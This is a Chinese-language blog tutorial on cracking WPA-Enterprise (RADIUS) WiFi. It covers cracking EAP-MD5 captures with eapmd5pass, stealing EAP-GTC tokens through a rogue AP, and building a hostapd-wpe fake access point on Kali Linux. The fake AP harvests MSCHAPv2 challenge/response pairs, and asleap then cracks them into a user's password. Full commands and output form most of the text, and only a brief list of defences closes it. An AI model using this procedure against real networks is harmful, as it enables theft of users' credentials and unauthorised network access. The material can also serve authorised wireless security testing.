Linux下提供了一个hostapd工具,可以实现WiFi的无线接入热点(AP)功能。它是一个带加密功能的无线接入点程序,支持IEEE 802.11协议和IEEE 802.1X/WPA/WPA2/EAP/RADIUS加密。有开发者根 据该软件,开发了一个名为hostapd-wpe的补丁。

使用该补丁后,就可以创建支持MSCHAPv2加密的伪AP。这样,渗透测试人员将会获取到无线网络的用户名和密码。当渗透测试人员获取到用户名和密码后,可以使用asleap工具将密码破解出来。本节将介绍如何使用这种方法来破解RADIUS加密的WiFi网络。

wpa-eap

大部分主要的组织将“WPA企业版”(WPA Enterprise)作为他们的无线网络的部署方案。它提供了认证上的细粒度控制(fne-grained control),这种控制可以使网络整体变得更安全“WPA企业版”在使用EAP协议的基础上支持多种身份认证方案,这些方案中的一些方案被认为是比其他方案更安全的认证方案。这里EAP协议就是在第1章中提到的“扩展认证协议"( Extensible Authentication Protocol, EAP)。有一种更加简单的办法,确定 EAP 的类型
“扩展认证协议”的类型可以通过检查“EAP握手”来确定。EAP类型定义在消息中并且无论我们使用哪一款数据包检查工具(例如Wireshark软件),EAP的类型通常都会被自动翻译。客户端可以通过配置支持多个EAP类型,因此嗅探程序监测到客户端完整的“EAP协议握手”数据包是非常重要的,否则,如果你只是嗅探到“EAP协议握手”中的某一个数据包,则有可能会出现错误的判断。例如,你可能会注意到:某个客户端第一次使用EAP/TLS类型尝试连接,所以你理所当然地认为它们的EAP类型就是EAP/TLS了但紧随其后的是,客户端又改用了“受保护的扩展认证协议”类型进行连接,如果成功那客户端和AP接人点实际使用的连接类型就是“受保护的扩展认证协议”类型,而不是前面的EAP/TLS类型。这一点很重要,因为“扩展认证协议”类型比别的类型更容易遭到攻击。一旦你确定对方使用的是EAP类型,那么你就可以发起一个攻击,该攻击指向这个EAP类型的网络,并有望拿到对该网络访问的权限。“客户机服务器”(Client-Server,C/S)模式的通信在无线网络上以明文方式进行的,所以,如果我们得到一个有效的客户端与服务端的“四次握手”,你就可以对该“四次握手”过程中所捕获的数据包发动一次针对该数据包的离线“暴力攻击”(brute-force attack)。Joshua Wright 所制作的eapmd5pass工具可以证明这一点,该工具的下载地址是http://www.willhackforsushicom/?page id=67

./eapmd5pass -r PrettyLilPwnies.cap -w wordlist.txt

使用eapmd5pass软件破解“基于消息摘要第5版的扩展认证协议”的操作非常简单:我们指定一个捕获数据包的文件,该文件中包含MD5的“质疑”字段和“回应”字段的数据包(通过参数“-r PrettyLilPwnies.cap”来实现),再指定一个字典文件(通过参数“-w wordlist .txt”实现),然后按回车键。如果字典中包含了目标账户的密码,那么不久eapmd5pass软件将会成功地还原出这个密码。之后,使用这组账号和密码,就可以作为一个有效的用户连接到这个无线网络,并“合法”地登录。

eap-gtc

“基于通用令牌卡的扩展认证协议”(EAP-GTC)是一种名叫“通用令牌卡”GenericTokenCard)的认证方式,该认证方式就是在AP接入点和客户之间共同使用某种动态生成的一次性密钥,这个一次性密钥就叫“令牌”(Token),这里的“一次性”是指每一个密钥都有“生命期”,过了这个“生命期”该密钥就作废了,进而换成另一个新的密钥,并重新开始统计这个“生命期”的有效时间。尽管市场上有许多硬件厂商都在基于这种认证方式生产产品但是最常见的例子是“RSASecurID”的品牌。从概念上讲,“基于通用令牌卡的扩展认证协议”认证方式甚至比“基于消息摘要第5版的扩展认证协议”认证方式还简单。在EAP-GTC认证情况下,用户硬件的“令牌”(token)和“认证服务器”(authentication server)都共同知道一个“短生命期”(short-lived)的共享密钥(shared secret),该值其实就是“令牌”。在通信之前,客户端的用户要想证明自己拥有这个令牌,就需要把该共享密钥值发送给认证服务器。认证服务器将接到的这个值与自己事先保存的值进行比较,如果两值相同,则认证服务器就给客户发送一个“EAP-Success”的成功消息给提出认证的这处客户端用户,表示是合法用户,二者可以通信;否则就会发送“EAP-Failure”失败的消息。

从概念上讲,攻击“基于通用令牌卡的扩展认证协议”认证方式非常简单,根据前面的描述,就不难想到,只要我们拿到当前用户正在显示的“令牌”值,在该值“生命期”过期之前,向服务器进行通信的时候,将其作为自己的“令牌”即可。在模拟信号(analog)的世界里,你可以通过“肩窥”(shoulder-surfng)用户的“令牌”或直接“亲手偷”(physicallystealing)过来。在数字信号的王国中,你可以更加隐密地完成这一点:创建一个“骗子”AP接入点(rogue AP),吸引拥有“令牌”的用户,并“说服”他输入正常的“令牌”值。因为该值是有时效性的,所以你要尽可能快地将该值说成是自己的“令牌”值,拿到那个真正的网络中使用。

以下是比较正统一种方法,可以应对多种情况

使用hostapd-wpe创建伪AP

下面同样以Kali Linux操作系统为例,介绍使用hostapd-wpe创建伪AP,并实现WiFi网络的破解的方法。

破解RADIUS加密的WiFi网络。具体操作步骤如下所述。

先安装环境

1)由于安装hostapd软件依赖libnl库,所以,这里首先安装相关的库文件。执行命令如下所示。

root@localhost:# apt-get install libssl-dev libnl-dev

执行以上命令后,如果没有报错,则表示以上软件包安装成功。

2)下面获取hostapd软件的补丁包hostapd-wpe。执行命令如下所示。

root@localhost:# git clone https://github.com/OpenSecurityResearch/hostapd-wpe

正克隆到 'hostapd-wpe'...

remote: Counting objects: 47, done.

remote: Total 47 (delta 0), reused 0 (delta 0)

Unpacking objects: 100% (47/47), done.

从以上输出信息可以看到,已成功获取到了补丁包hostapd-wpegit工具默认将下载的文件保存在当前目录中。

3)下载hostapd软件包。执行命令如下所示。

root@localhost:# wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz

--2014-12-22 19:14:54-- http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz

正在解析主机 hostap.epitest.fi (hostap.epitest.fi)... 212.71.239.96

正在连接 hostap.epitest.fi (hostap.epitest.fi)|212.71.239.96|:80... 已连接。

已发出 HTTP 请求,正在等待回应... 301 Moved Permanently

位置:http://w1.fi/releases/hostapd-2.2.tar.gz [跟随至新的 URL]

--2014-12-22 19:14:56-- http://w1.fi/releases/hostapd-2.2.tar.gz

正在解析主机 w1.fi (w1.fi)... 212.71.239.96

再次使用存在的到 hostap.epitest.fi:80 的连接。

已发出 HTTP 请求,正在等待回应... 200 OK

长度:1586482 (1.5M) [application/x-gzip]

正在保存至: “hostapd-2.2.tar.gz”

100%[=====================================================================

==============>] 1,586,482 107K/s 用时 12s

2014-12-22 19:15:09 (128 KB/s) - 已保存 “hostapd-2.2.tar.gz” [1586482/1586482])

以上输出信息显示了下载hostapd软件包的详细过程。从最后一行信

息可以看出,下载的软件包已保存为hostapd-2.2.tar.gz,该软件包默认保

存在当前目录中。接下来,就可以安装hostapd软件包了。

4)解压hostapd软件包。执行命令如下所示。

root@localhost:# tar zxvf hostapd-2.2.tar.gz执行以上命令后,hostapd软件包中的所有文件将被解压到名为

hostapd-2.2的文件中。接下来,就需要切换到该目录中进行hostapd软件

包的安装。

5)使用patch命令为hostapd软件包打补丁。其中,patch命令的语法格式如下所示。

patch [-R] {-p(n)} [--dry-run] < patch_file_name

以上语法中各参数含义如下所示。

-R:卸载patch包。

-p:为patch的缩写。

n:指patch(补丁包)文件所在位置(patch)的第n‘/’

--dry-run:尝试patch软件,并不真正修改软件。

patch_file_name:指定补丁包的文件名。

本例中的补丁包保存在/root/hostapd-wpe中。所以,这里指定的路

径为-p1。执行命令如下所示。

root@localhost:# cd hostapd-2.2/ #切换到解压出的文件中

root@localhost:/hostapd-2.2# patch -p1 < ../hostapd-wpe/hostapd-wpe.patch #打补丁包

patching file hostapd/.config

patching file hostapd/config_file.c

patching file hostapd/hostapd-wpe.conf

patching file hostapd/hostapd-wpe.eap_user

patching file hostapd/main.c

patching file hostapd/Makefile

patching file src/ap/beacon.c

patching file src/ap/ieee802_11.cpatching file src/crypto/ms_funcs.c

patching file src/crypto/ms_funcs.h

patching file src/crypto/tls_openssl.c

patching file src/eap_server/eap_server.c

patching file src/eap_server/eap_server_mschapv2.c

patching file src/eap_server/eap_server_peap.c

patching file src/eap_server/eap_server_ttls.c

patching file src/Makefile

patching file src/utils/wpa_debug.c

patching file src/wpe/Makefile

patching file src/wpe/wpe.c

patching file src/wpe/wpe.h

以上输出的信息,显示了打补丁的所有文件。

6)编译hostapd软件包。执行命令如下所示。

root@localhost:/hostapd-2.2# cd hostapd/

root@localhost:/hostapd-2.2/hostapd# make

执行以上命令后,将输出编译的所有文件信息。如果没有提示错误

信息,则表示编译成功。

7)有了hostapd工具做无线接入点,还需要创建一些证书。在该

程序中提供了一个可执行脚本bootstrap,可以来创建证书。所以,运行

该脚本即可创建需要的证书。执行命令如下所示。

root@localhost:/hostapd-2.2/hostapd# cd ../../hostapd-wpe/certs/

root@localhost:/hostapd-wpe/certs# ./bootstrap

执行以上命令后,将输出如下信息:

openssl dhparam -out dh 1024

Generating DH parameters, 1024 bit long safe prime, generator 2

This is going to take a long time

...............................+...+.....................................+...........+.............+.......................................................................................+..............................................................................++*++*++*

openssl req -new -out server.csr -keyout server.key -config ./server.cnf

Generating a 2048 bit RSA private key

...+++

.....................+++

writing new private key to 'server.key'

-----

openssl req -new -x509 -keyout ca.key -out ca.pem \

-days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf

Generating a 2048 bit RSA private key

................................................................................................................+++

....................................................................................+++

writing new private key to 'ca.key'

-----

openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf |

sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf

Using configuration from ./server.cnf

Check that the request matches the signature

Signature ok

Certificate Details:

Serial Number: 1 (0x1)

Validity

Not Before: Dec 23 01:25:38 2014 GMT

Not After : Dec 23 01:25:38 2015 GMT

Subject:

countryName = FR

stateOrProvinceName = Radius

organizationName = Example Inc.

commonName = Example Server Certificate

emailAddress = admin@example.com

X509v3 extensions:

X509v3 Extended Key Usage:

TLS Web Server Authentication

Certificate is to be certified until Dec 23 01:25:38 2015 GMT (365 days)

Write out database with 1 new entries

Data Base Updated

openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep

output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf |

sed 's/.*=//;s/^ *//'`openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf |

sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'`

MAC verified OK

openssl verify -CAfile ca.pem server.pem

server.pem: OK

openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der

以上输出的信息就是创建证书的过程。从以上信息中可以看到,已

成功创建了ca.pemserver.pem证书。

接下来,就可以启动hostapd程序了。

但是,默认hostapd程序的主配置文件中监听的端口是有线接口eth0。由于本例使用的是无线接

入点,因此还需要对接口、网卡接口模式和信道等进行设置。hostapd程序的中配置文件是hostapd-wpe.conf。在该配置文件中,包括很多个配置部分。本例中需要配置的信息如下所示。

root@localhost:/hostapd-2.2/hostapd# vi hostapd-wpe.conf

# Configuration file for hostapd-wpe

#

# General Options - Likely to need to be changed if you're using this

# Interface - Probably wlan0 for 802.11, eth0 for wired

interface=wlan1 #指定无线网卡的接口,本例中是wlan1

# Driver - comment this out if 802.11

#driver=wired #使用“#”注释该选项

# 802.11 Options - Uncomment all if 802.11

ssid=hostapd-wpe #开启ssid选项

hw_mode=g #开启硬件模式选项,这里使用的是g模式。但某些网卡可能不支持该模式

channel=1 #开启信道选项

##### IEEE 802.11 related configuration #######################################

# SSID to be used in IEEE 802.11 management frames

ssid=Test #设置SSID的名称

现在就可以运行hostapd程序了。执行命令如下所示。

root@localhost:/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf

Configuration file: hostapd-wpe.confUsing interface wlan1 with hwaddr 00:c1:41:26:0e:f9 and ssid "Test"

wlan1: interface state UNINITIALIZED->ENABLED

wlan1: AP-ENABLED

从以上输出信息中可以看到,已成功启动了接口wlan1,并且使用

SSID名称为Test。此时,当有客户端连接该网络时,将会捕获到其用

户名和密码等信息。如下所示。

root@localhost:/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf

Configuration file: hostapd-wpe.conf

Using interface wlan1 with hwaddr 00:c1:41:26:0e:f9 and ssid "Test"

wlan1: interface state UNINITIALIZED->ENABLED

wlan1: AP-ENABLED

wlan1: STA 14:f6:5a:ce:ee:2a IEEE 802.11: authenticated

wlan1: STA 14:f6:5a:ce:ee:2a IEEE 802.11: associated (aid 1)

wlan1: CTRL-EVENT-EAP-STARTED 14:f6:5a:ce:ee:2a

wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1

wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25

mschapv2: Tue Dec 23 09:29:29 2014

username: bob

challenge: 7e:6b:5d:04:eb:73:c4:a6

response: 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2

jtr NETNTLM: bob:$NETNTLM$7e6b5d04eb73c4a6$930d4c2237f9f3988e4bcbe809fa169

b0f1f27d0f41484c2

从以上输出信息中可以看到,Mac地址为14:f6:5a:ce:ee:2a的客户端连接了Test无线网络。并且可以看到,连接该无线网络时,使用的用户名为bob,但密码处于加密状态。成功执行以上命令后,将会在运行以上命令的hostapd目录下生成一个名为hostapd-wpe.log的日志文件。在该

文件中将记录认证的信息,如下所示。

root@localhost:/hostapd-2.2/hostapd# cat hostapd-wpe.log

mschapv2: Tue Dec 23 09:29:29 2014

username: bob

challenge: 7e:6b:5d:04:eb:73:c4:a6

response: 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2jtr NETNTLM: bob:$NETNTLM$7e6b5d04eb73c4a6$930d4c2237f9f3988e4bcbe809fa169

b0f1f27d0f41484c2

以上就是记录的日志信息。注意,如果要查看该日志文件中的信

息,需要停止./hostapd- wpe程序才可以。

Kali Linux的问题处理

以上是hostapd正常启动后出现的信息。但是,由于Kali Linux操作系统使用的是Network Manager管理网络接口,会影响无线网络接口的运行,在启动时将会出现以下提示信息:

root@localhost:/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf

Configuration file: hostapd-wpe.conf

nl80211: Could not configure driver mode

nl80211 driver initialization failed.

hostapd_free_hapd_data: Interface wlan1 wasn't started

从以上输出的信息中可以看到配置驱动模式,并且驱动初始化失败。出现这种情况时,需要将Network Manager关闭,然后使用ifconfig命令启动网络接口。具体实现方法如下所示。

root@localhost:/hostapd-2.2/hostapd# nmcli nm wifi off #关闭WiFi接口

root@localhost:/hostapd-2.2/hostapd# rfkill unblock wlan #开启wlan

root@localhost:/hostapd-2.2/hostapd# ifconfig wlan1 192.168.3.1/24 up #开启当前系统的无线接口

root@localhost:/hostapd-2.2/hostapd# sleep 1 #设置1秒的延迟

执行以上操作后,即可成功启动hostapd程序。

使用asleap破解密码

通过前面的操作,用户可以成功获取登录无线网络的用户名、挑战码、响应码等信息。此时,用户可以使用asleap工具通过指定挑战码和响应码来破解用户的密码。下面将介绍使用asleap工具破解密码。

asleap命令的语法格式如下所示。

asleap [选项]

以上命令常用选项含义如下所示。

-r:读取来自一个libpcap文件的信息。

-i:指定捕获接口。

-f:使用NT-Hash字典文件。

-n:使用NT-Hash索引文件。

-s:跳过检查来通过认证。

-h:显示帮助信息。

-v:显示详细的输出信息。

-V:显示程序的版本信息。

-C:指定挑战码的值。

-R:指定响应码的值。

-W:指定ASCII密码字典文件。

 使用asleap破解以上bob用户的密码。执行命令如下所示。

root@localhost:# asleap -C 7e:6b:5d:04:eb:73:c4:a6 -R 93:0d:4c:22:37:f9:f3:98:8e:4b:cb:e8:

09:fa:16:9b:0f:1f:27:d0:f4:14:84:c2 -W list

asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>

Using wordlist mode with "list".

hash bytes: 507e

NT hash: fcfc9a2a1e3f4f9f5e1eba9a4592507e

password: passbob

从以上输出信息中可以看到,bob用户的密码为passbobhash大小

507e。以上命令中-C指定的是bob用户的挑战码,-R指定的是响应

码,-W选项指定的是密码字典文件。

WPA+RADIUS的安全措施

根据前面的介绍,可以发现WPA+RADIUS的无线网络也很容易被破解出。为了使自己的网络更安全,用户还需要采取一些其他防护措施并增加防范意识。下面将介绍几个应对WPA+RADIUS的安全措施。

1)更改无线路由器默认设置。

2)禁止SSID广播。

3)设置Mac地址过滤。

4)关闭WPA/QSS

5)物理的保护网络。(6)如果所处的网络环境比较稳定的话,可以将路由器的DHCP

能关闭,使用静态IP

7)设置比较长的、复杂的密码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安+硬件

生活不易,但愿极客精神与你同在

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值